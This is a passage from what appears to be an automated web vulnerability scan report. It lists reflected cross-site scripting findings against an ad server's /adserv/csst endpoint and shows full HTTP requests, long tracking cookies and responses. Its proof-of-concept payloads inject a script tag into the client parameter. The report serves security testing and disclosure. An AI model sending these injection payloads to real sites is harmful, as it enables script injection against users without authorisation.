vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxTNJFQjr00einc4tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usv01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qu0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3g0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:56 GMT
Content-Length: 3493

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036236393;click0=http://ad.media6degrees.com/adserv/clk?tId=5001898664200427|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
xYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=dad6f"><script>alert(1)</script>5cc7b6d4502&adurl=" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

4.104. http://ad.media6degrees.com/adserv/csst [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the client request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 625c3"><script>alert(1)</script>20c6a0266be was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847625c3"><script>alert(1)</script>20c6a0266be&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxSbhFlXm00einb4tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usu01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qt0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3f0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:56 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:55 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036235996;click0=http://ad.media6degrees.com/adserv/clk?tId=5001845379847654|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847625c3"><script>alert(1)</script>20c6a0266be&adurl=">
...[SNIP]...

4.105. http://ad.media6degrees.com/adserv/csst [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

